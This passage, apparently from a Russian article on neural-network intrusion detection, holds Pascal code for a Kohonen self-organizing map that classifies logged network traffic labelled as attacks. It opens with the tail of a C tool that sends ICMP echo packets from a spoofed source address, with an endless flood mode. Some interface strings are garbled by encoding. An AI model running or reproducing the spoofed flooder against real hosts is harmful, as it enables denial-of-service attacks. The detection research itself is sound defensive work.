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p align="left">icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8); return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0, (struct sockaddr *)&destaddr,sizeof(struct sockaddr)); } void main(int argc, char *argv[]) { int s, i; int floodloop; if (parse_args(argc,argv)) { usage(argv[0]); return; } resolve_all(dest_name, spoof_name); give_info(); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!flood) { if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) { printf("%s error sending packet\n",argv[0]); perror(""); return; } } else { floodloop = 0; if ( pingnmbr && (pingnmbr > 0) ) { printf("sending... packet limit set\n"); for (i=0;i<pingnmbr;i++) { if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) { printf("%s error sending packet\n",argv[0]); perror(""); return; } usleep((pingsleep*1000)); if (!(floodloop = (floodloop+1)%25)) { fprintf(stdout,"."); fflush(stdout); } } printf("\ncomplete, %u packets sent\n", pingnmbr); } else { printf("flooding, (. == 25 packets)\n"); for (i=0;i<1;i) { if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) { printf("%s error sending packet\n",argv[0]); perror(""); return; } usleep(900); if (!(floodloop = (floodloop+1)%25)) { fprintf(stdout,"."); fflush(stdout); } } } } } Листинг 3. Самоорганизующаяся карта признаков. TNeuron = class public IntVal : TIntArray; ExtVal : TExtArray; Pos : Extended; Status : Extended; Y : Extended; MassWeight : Array of Extended; constructor Init(a : PIntArray; b : PExtArray); function FunctionActivation : Extended; procedure GetAksonValue(a : PExtArray); procedure Randomization; procedure Distantion(a : PExtArray); end; TLayer = class public ExtArr : TExtArray; Neurons : Array of TNeuron; QNeurons : integer; QInputs : integer; InputValues : Array of Extended; OutputValues : Array of Extended; constructor Init(a : PIntArray; b : PExtArray); procedure GetInputValues(Values : PExtArray); procedure GetOutputValues; procedure Excitement; procedure randomization; end; TKohonenLayer = class(TLayer) public eta,sigma : Extended; h,w : Word; constructor Init(a : PIntArray; b : PExtArray); procedure Normalize; function TheWinnerTakesItAll : integer; function Classic : integer; procedure Learning(a : integer; SpeedLearn : Extended); procedure LearningNeib(a : integer; SpeedLearn : Extended); procedure SigmaInit(s : Extended); procedure ConvexCombination(delta : Extended); procedure NeuralGaz(SpeedLearn : Extended); end; procedure TKohonenLayer.SigmaInit(s : Extended); begin Sigma:=s; end; procedure TKohonenLayer.ConvexCombination(delta : Extended); var i : integer; begin eta:=eta+delta; sigma:=sigma+0.1-10*delta; for i:=0 to QInputs-1 do InputValues[i]:=InputValues[i]*eta+(1-eta)/sqrt(QInputs); end; constructor TKohonenLayer.Init(a : PIntArray; b : PExtArray); var i : integer; New : TIntArray; begin Inherited Init(a,b); New:=a^; H:=New.Value[3]; W:=Round(New.Value[2]/New.Value[3]); Randomization; for i:=0 to New.Value[2]-1 do Neurons[i].Pos:=3.75; eta:=0; end; procedure TKohonenLayer.Normalize; var i : integer; Sum : Extended; begin Sum:=0; for i:=0 to QInputs-1 do Sum:=Sum+Sqr(InputValues[i]); for i:=0 to QInputs-1 do InputValues[i]:=InputValues[i]/Sqrt(Sum); end; function TKohonenLayer.TheWinnerTakesItAll : integer; var i,p : integer; Min : Extended; begin Min:=Neurons[0].Y; p:=0; for i:=1 to QNeurons-1 do begin if Neurons[i].Pos>0.75 then if Min>Neurons[i].Y then begin p:=i; Min:=Neurons[i].Y; end; end; for i:=0 to QNeurons-1 do Neurons[i].Y:=0; for i:=0 to QNeurons-1 do if i=p then Neurons[i].Pos:=Neurons[i].Pos-0.75 else Neurons[i].Pos:=Neurons[i].Pos+1/QNeurons; Neurons[p].Y:=1; GetOutputValues; TheWinnerTakesItAll:=p; end; function TKohonenLayer.Classic : integer; var i,p : integer; Min : Extended; begin Min:=Neurons[0].Y; p:=0; for i:=1 to QNeurons-1 do begin if Min>Neurons[i].Y then begin p:=i; Min:=Neurons[i].Y; end; end; for i:=0 to QNeurons-1 do Neurons[i].Y:=0; Neurons[p].Y:=1; GetOutputValues; Classic:=p; end; procedure TKohonenLayer.Learning(a : integer; SpeedLearn : Extended); var i : integer; begin for i:=1 to QInputs do Neurons[a].MassWeight[i]:=Neurons[a].MassWeight[i]+ SpeedLearn*(InputValues[i-1]-Neurons[a].MassWeight[i]); end; procedure TKohonenLayer.LearningNeib(a : integer; SpeedLearn : Extended); var i,j : integer; begin for j:=0 to QNeurons-1 do begin for i:=1 to QInputs do Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+ exp(-(Sqr((j div w)-(a div w)) + Sqr((j mod h)-(a mod h)))/(2*Sqr(sigma))) *SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]); end; end; procedure TKohonenLayer.NeuralGaz(SpeedLearn : Extended); var i,j,k,p : integer; Mass : Array of Extended; Min : Extended; begin SetLength(Mass,QNeurons); for i:=0 to QNeurons-1 do Mass[i]:=-1; p:=0; for i:=0 to QNeurons-1 do begin p:=p+1; Min:=999999; k:=-1; for j:=0 to QNeurons-1 do begin if Neurons[j].Y<Min then if Mass[j]=-1 then begin k:=j; Min:=Neurons[j].Y; end; end; Mass[k]:=p; end; for j:=0 to QNeurons-1 do begin for i:=1 to QInputs do Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+ exp(-Mass[j]/Sigma)*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]); end; end; constructor TNeuron.Init(a : PIntArray; b : PExtArray); var New : TIntArray; begin New:=a^; ExtVal:=b^; IntVal:=TIntArray.Init(2); IntVal.Value[0]:=New.Value[0]+1; IntVal.Value[1]:=New.Value[1]; SetLength(MassWeight,IntVal.Value[0]); if IntVal.Value[0]>0 then MassWeight[0]:=0; Status:=0; Y:=0; Pos:=0; end; procedure TNeuron.GetAksonValue(a : PExtArray); var i : integer; b : TExtArray; begin b:=a^; Status:=MassWeight[0]; for i:=1 to IntVal.Value[0]-1 do Status:=Status+MassWeight[i]*b.Value[i-1]; Y:=FunctionActivation; end; procedure TNeuron.Distantion(a : PExtArray); var i : integer; b : TExtArray; begin b:=a^; Status:=0; for i:=1 to IntVal.Value[0]-1 do Y:=Y+Sqr(MassWeight[i]-b.Value[i-1]); Y:=Sqrt(Y); end; function TNeuron.FunctionActivation : Extended; Var m : Extended; begin case IntVal.Value[1] of 1 : m:=1/(1+exp(-ExtVal.Value[0]*Status)); 2 : m:=ExtVal.Value[0]*Status; end; FunctionActivation:=m; end; procedure TNeuron.Randomization; var i : integer; begin for i:=0 to IntVal.Value[0]-1 do MassWeight[i]:=random(255); end; constructor TLayer.Init(a : PIntArray; b : PExtArray); var i : integer; //c : TIntArray; IntArr : TIntArray; begin IntArr:=a^; QInputs:=IntArr.Value[0]; QNeurons:=IntArr.Value[2]; IntArr.NewLength(2); ExtArr:=b^; SetLength(Neurons,SizeOf(TNeuron)*QNeurons); for i:=0 to QNeurons-1 do Neurons[i]:=TNeuron.Init(@IntArr,b); SetLength(InputValues,QInputs); for i:=0 to QInputs-1 do InputValues[i]:=0; SetLength(OutputValues,QNeurons); end; procedure TLayer.GetInputValues(Values : PExtArray); var i : integer; a : TExtArray; begin a:=Values^; for i:=0 to QInputs-1 do InputValues[i]:=a.Value[i]; end; procedure TLayer.Excitement; var i : integer; a : TExtArray; begin a:=TExtArray.Init(QInputs); for i:=0 to QInputs-1 do a.Value[i]:=InputValues[i]; for i:=0 to QNeurons-1 do Neurons[i].Distantion(@a);//GetAksonValue(@a); GetOutputValues; end; procedure TLayer.GetOutputValues; var i : integer; begin for i:=0 to QNeurons-1 do OutputValues[i]:=Neurons[i].Y; end; procedure TLayer.randomization; var i : integer; begin for i:=0 to QNeurons-1 do Neurons[i].Randomization; end; procedure TForm1.Button2Click(Sender: TObject); var F : TextFile; i,j,p,s1,s2,k : integer; Str : String; Ch : Char; Sum : integer; Temp : Array of String; begin OpenDialog1.Filter:='?o?iaeuiue oaee|*.log|'; if (OpenDialog1.Execute) and fileExists(OpenDialog1.FileName) then begin AssignFile(F,OpenDialog1.FileName); Reset(F); ReadLn(F); Read(F,Q); SetLength(Prot,Q); SetLength(Host,Q); SetLength(LocalH,Q); SetLength(Frag,Q); SetLength(Size,Q); SetLength(Proc,Q); SetLength(Active,Q); SetLength(HACK,Q); MyList.Clear; MyList.Add('Iiia?'); MyList.Add('I?ioieie'); MyList.Add('Oino'); MyList.Add('Naiy EAN'); MyList.Add('O?aaiaioaoey'); MyList.Add('?acia?'); MyList.Add('I?ioanni? %%'); MyList.Add('Ioaa?aao'); StringGrid1.RowCount:=Q+1; StringGrid1.Rows[0]:=MyList; for i:=0 to Q-1 do begin MyList.Clear; Read(F,j); MyList.Add(IntToStr(j)); //Memo4.Lines.Add(IntToStr(j)); Read(F,Ch); Read(F,Ch); Read(F,Ch); Prot[i]:=''; While(ch<>' ') do begin Prot[i]:=Prot[i]+Ch; Read(F,Ch); end; MyList.Add(Prot[i]); Read(F,Ch); Read(F,Ch); Read(F,Ch); Host[i]:=''; While(ch<>' ') do begin Host[i]:=Host[i]+Ch; Read(F,Ch); end; MyList.Add(Host[i]); Read(F,Ch); Read(F,Ch); Str:=''; While(ch<>' ') do begin Str:=Str+Ch; Read(F,Ch); end; MyList.Add(Str); if Str='YES' then LocalH[i]:=1 else LocalH[i]:=0; Read(F,Ch); Read(F,Ch); Str:=''; While(ch<>' ') do begin Str:=Str+Ch; Read(F,Ch); end; MyList.Add(Str); if Str='YES' then Frag[i]:=1 else Frag[i]:=0; Read(F,Size[i]); MyList.Add(IntToStr(Size[i])); Read(F,Proc[i]); MyList.Add(IntToStr(Proc[i])); Read(F,Ch); Read(F,Ch); Read(F,Ch); Str:=''; While(ch<>' ') do begin Str:=Str+Ch; Read(F,Ch); end; MyList.Add(Str); if Str='YES' then Active[i]:=1 else Active[i]:=0; StringGrid1.Rows[j]:=MyList; Read(F,Ch); if Ch='H' then HACK[i]:=1 else HACK[i]:=0; //Memo4.Lines.Add('**************'); end; //Memo4.Lines.Add(IntToStr(Q)); CloseFile(F); SetLength(Temp,10); SetLength(Mass,(Q-1)*11); SetLength(SHack,Q-1); for i:=0 to Q-12 do begin Mass[12*i]:=0; for j:=0 to 9 do Mass[12*i]:=Mass[12*i]+LocalH[i+j]; Mass[12*i+1]:=0; for j:=0 to 9 do Mass[12*i+1]:=Mass[12*i+1]+Frag[i+j]; Mass[12*i+2]:=0; Mass[12*i+3]:=0; for j:=0 to 9 do if Prot[i+j]='TCP' then Mass[12*i+2]:=Mass[12*i+2]+1; for j:=0 to 9 do if Prot[i+j]='UDP' then Mass[12*i+3]:=Mass[12*i+3]+1; Sum:=1; s1:=0; for j:=0 to 9 do begin Str:=Host[i+j]; p:=0; for k:=0 to 9 do begin if Str=Host[i+k] then begin p:=p+1; s2:=k; end; end; if p>Sum then begin Sum:=p; s1:=s2; end; end; Mass[12*i+4]:=Sum; Mass[12*i+5]:=LocalH[i+s1]; Sum:=0; for j:=0 to 9 do Sum:=Sum+Proc[i+j]; Mass[12*i+6]:=Sum/10; Mass[12*i+7]:=Proc[i+9]-Proc[i]; Sum:=0; for j:=0 to 9 do Sum:=Sum+Size[i+j]; Mass[12*i+8]:=Sum/10; Sum:=0; for j:=0 to 9 do if (Size[i+j]>=0.8*Mass[12*i+8])and (Size[i+j]<=1.2*Mass[12*i+8]) then Sum:=Sum+1; Mass[12*i+9]:=Sum; Sum:=0; for j:=0 to 9 do Sum:=Sum+Active[i+j]; Mass[12*i+10]:=Sum; for j:=0 to 9 do Temp[j]:=Host[i+j]; for j:=0 to 8 do begin Str:=Temp[j]; for k:=0 to 9 do if k<>j then if Str=Temp[k] then Temp[k]:=''; end; Sum:=0; for j:=0 to 9 do if Temp[j]<>'' then Sum:=Sum+1; Mass[12*i+11]:=Sum; Sum:=0; for j:=0 to 9 do Sum:=Sum+HACK[i+j]; SHAck[i]:=Sum; end; end; end; procedure TForm1.InitializationMap; var i,j,p : integer; begin for i:=0 to H*W-1 do begin p:=Random(Q-13); for j:=0 to 10 do KMap.Neurons[i].MassWeight[j+1]:=Mass[12*p+j]; end; end; procedure TForm1.Button3Click(Sender: TObject); var i,j,p,k,m : integer; Quant,Winner : integer; Part : TExtArray; SMax,SMin : Extended; begin InitializationMap; for i:=0 to Image1.Height-1 do for j:=0 to Image1.Width-1 do Image1.Picture.Bitmap.Canvas.Pixels[i,j]:=RGB(150,150,150); Quant:=StrToInt(Edit3.Text); Part:=TExtArray.Init(12); SMax:=0.7; SMin:=0.0001; ProgressBar1.Max:=Quant; ProgressBar1.Position:=0; for i:=0 to Quant-1 do begin KMap.SigmaInit(10*(1-i/Quant)+0.1); p:=Random(Q-12); for j:=0 to 11 do Part.Value[j]:=Mass[12*p+j]; KMap.GetInputValues(@Part); KMap.Excitement; Case RadioGroup1.ItemIndex of 0: begin Winner:=KMap.Classic; if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant) else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant); end; 1: begin Winner:=KMAp.TheWinnerTakesItAll; if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant) else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant) end; 2: begin KMap.NeuralGaz(SMax-(SMax-SMin)*i/Quant); end; end; ProgressBar1.StepBy(1); end; ProgressBar1.Position:=0; for i:=0 to KMap.QNeurons-1 do KMap.Neurons[i].MassWeight[0]:=0; for i:=0 to Q-12 do begin for j:=0 to 11 do Part.Value[j]:=Mass[12*i+j]; KMap.GetInputValues(@Part); KMap.Excitement; Winner:=KMap.Classic; KMap.Neurons[Winner].MassWeight[0]:=1; //Memo4.Lines.Add(IntToStr(Winner)); if SHack[i]>=8 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,0,0); end else if SHack[i]=7 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,40,40); end else if SHack[i]=6 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,80,80); end else if SHack[i]=5 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,120,120); end else if SHack[i]=4 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,160,160); end else if SHack[i]=3 then begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,200,200); end else begin for m:=0 to W1-1 do for k:=0 to H1-1 do Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,225,225); end; //Image2.Picture.Bitmap.Canvas. //.Pixels[j,i]:=RGB( end; for i:=0 to KMap.QNeurons-1 do begin if KMap.Neurons[i].MassWeight[0]=1 then begin Memo3.Lines.Add('Iae?ii '+IntToStr(i)); for j:=0 to KMap.QInputs-1 do Memo3.Lines.Add(FloatToStr(KMap.Neurons[i].MassWeight[j])); end; end; end;
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